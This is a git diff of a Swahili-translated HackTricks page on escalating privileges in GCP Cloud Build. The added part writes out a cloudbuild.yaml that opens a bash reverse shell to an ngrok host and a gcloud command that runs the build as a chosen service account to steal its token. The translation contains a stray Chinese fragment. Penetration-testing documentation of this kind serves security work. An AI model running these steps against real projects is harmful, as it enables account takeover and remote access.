mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
+20
-8
@@ -13,17 +13,29 @@ Kwa maelezo zaidi kuhusu Cloud Build angalia:
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Kwa ruhusa hii unaweza **kuwasilisha ujenzi wa wingu**. Mashine ya cloudbuild itakuwa na **kwa kawaida token ya Akaunti ya Huduma ya cloudbuild** katika mfumo wake wa faili: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Hata hivyo, unaweza **kuashiria akaunti yoyote ya huduma ndani ya mradi** katika usanidi wa cloudbuild.\
|
||||
Hivyo, unaweza kufanya mashine itoe token hiyo kwa seva yako au **kupata shell ya kurudi ndani yake na kujipatia token hiyo** (faili inayoshikilia token inaweza kubadilika).
|
||||
Hivyo, unaweza tu kufanya mashine itoe token hiyo kwa seva yako au **pata shell ya kurudi ndani yake na upate token hiyo** (faili inayoshikilia token inaweza kubadilika).
|
||||
|
||||
Unaweza kupata skripti ya asili ya exploit [**hapa kwenye GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (lakini mahali inachukua token kutoka halikufanya kazi kwangu). Hivyo, angalia skripti ya kuandaa [**kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) na skripti ya python ili kupata shell ya kurudi ndani ya mashine ya cloudbuild na [**kuiba token hiyo hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (katika msimbo unaweza kupata jinsi ya kuashiria akaunti nyingine za huduma)**.**
|
||||
#### Utekelezaji wa moja kwa moja kupitia gcloud CLI
|
||||
|
||||
1- Tengeneza `cloudbuild.yaml` na urekebishe kwa data yako ya msikilizaji
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
script: |
|
||||
#!/usr/bin/env bash
|
||||
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- Pakia ujenzi rahisi bila chanzo, faili ya yaml na ueleze SA ya kutumia kwenye ujenzi:
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### Kutumia maktaba ya python gcloud
|
||||
Unaweza kupata skripti ya asili ya exploit [**hapa kwenye GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (lakini mahali inachukua token kutoka halikufanya kazi kwangu). Kwa hivyo, angalia skripti ya kuandaa [**kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) na skripti ya python kupata shell ya kinyume ndani ya mashine ya cloudbuild na [**kuiba hiyo hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (katika msimbo unaweza kupata jinsi ya kubainisha akaunti zingine za huduma)**.**
|
||||
|
||||
Kwa maelezo ya kina zaidi, tembelea [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
|
||||
### `cloudbuild.builds.update`
|
||||
|
||||
**Inawezekana** kwa ruhusa hii utaweza **k更新 ujenzi wa wingu na kuiba tu token ya akaunti ya huduma** kama ilivyofanywa kwa ruhusa ya awali (lakini kwa bahati mbaya wakati wa kuandika hii sikuweza kupata njia yoyote ya kuita API hiyo).
|
||||
|
||||
TODO
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
@@ -47,7 +59,7 @@ curl -X POST \
|
||||
```
|
||||
### `cloudbuild.connections.fetchLinkableRepositories`
|
||||
|
||||
Kwa ruhusa hii unaweza **kupata repos ambazo muunganisho una ufikiaji wa:**
|
||||
Kwa ruhusa hii unaweza **kupata repos ambazo muunganisho una ufikiaji nazo:**
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
|
||||
Reference in New Issue
Block a user